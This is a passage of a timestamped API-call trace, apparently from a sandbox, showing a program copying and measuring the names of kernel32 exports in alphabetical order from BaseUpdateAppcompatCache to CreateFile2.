[0127.906] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0127.906] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0127.906] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0127.906] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0127.906] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0127.906] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0127.906] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0127.906] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0127.906] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0127.906] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0127.907] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0127.907] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0127.907] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0127.907] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0127.907] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0127.907] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0127.907] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0127.907] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0127.907] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0127.907] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0127.907] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0127.907] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0127.907] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0127.907] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0127.907] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0127.907] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0127.907] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0127.907] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0127.908] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0127.908] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0127.908] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0127.908] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0127.908] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0127.908] lstrlenA (lpString="BEEP") returned 4 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0127.908] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0127.908] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0127.908] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0127.908] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0127.908] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0127.908] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0127.908] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0127.908] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0127.908] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0127.909] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0127.909] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0127.909] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0127.909] lstrlenA (lpString="CANCELIO") returned 8 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0127.909] lstrlenA (lpString="CANCELIOEX") returned 10 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0127.909] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0127.909] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0127.909] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0127.909] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0127.909] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0127.909] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0127.909] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0127.909] lstrlenA (lpString="CHECKELEVATION") returned 14 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0127.909] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0127.909] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0127.909] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0127.909] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0127.909] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0127.910] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0127.910] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0127.910] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0127.910] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0127.910] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0127.910] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0127.910] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0127.910] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0127.910] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0127.910] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0127.910] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0127.910] lstrlenA (lpString="CLOSESTATE") returned 10 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0127.910] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0127.910] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0127.910] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0127.910] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0127.910] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0127.910] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0127.911] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0127.911] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0127.911] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0127.911] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0127.911] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0127.911] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0127.911] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0127.911] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0127.911] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0127.911] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0127.911] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0127.911] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0127.911] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0127.911] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0127.911] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0127.911] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0127.911] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0127.911] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0127.912] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0127.912] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0127.912] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0127.912] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0127.912] lstrlenA (lpString="COPYCONTEXT") returned 11 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0127.912] lstrlenA (lpString="COPYFILE2") returned 9 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0127.912] lstrlenA (lpString="COPYFILEA") returned 9 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0127.912] lstrlenA (lpString="COPYFILEEXA") returned 11 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0127.912] lstrlenA (lpString="COPYFILEEXW") returned 11 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0127.912] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0127.912] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0127.912] lstrlenA (lpString="COPYFILEW") returned 9 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0127.912] lstrlenA (lpString="COPYLZFILE") returned 10 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0127.912] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0127.912] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0127.912] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0127.912] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0127.913] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0127.913] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0127.913] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0127.913] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0127.913] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0127.913] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0127.913] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0127.913] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0127.913] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0127.913] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0127.913] lstrlenA (lpString="CREATEEVENTA") returned 12 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0127.913] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0127.913] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0127.913] lstrlenA (lpString="CREATEEVENTW") returned 12 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0127.913] lstrlenA (lpString="CREATEFIBER") returned 11 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0127.913] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0127.913] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0127.913] lstrlenA 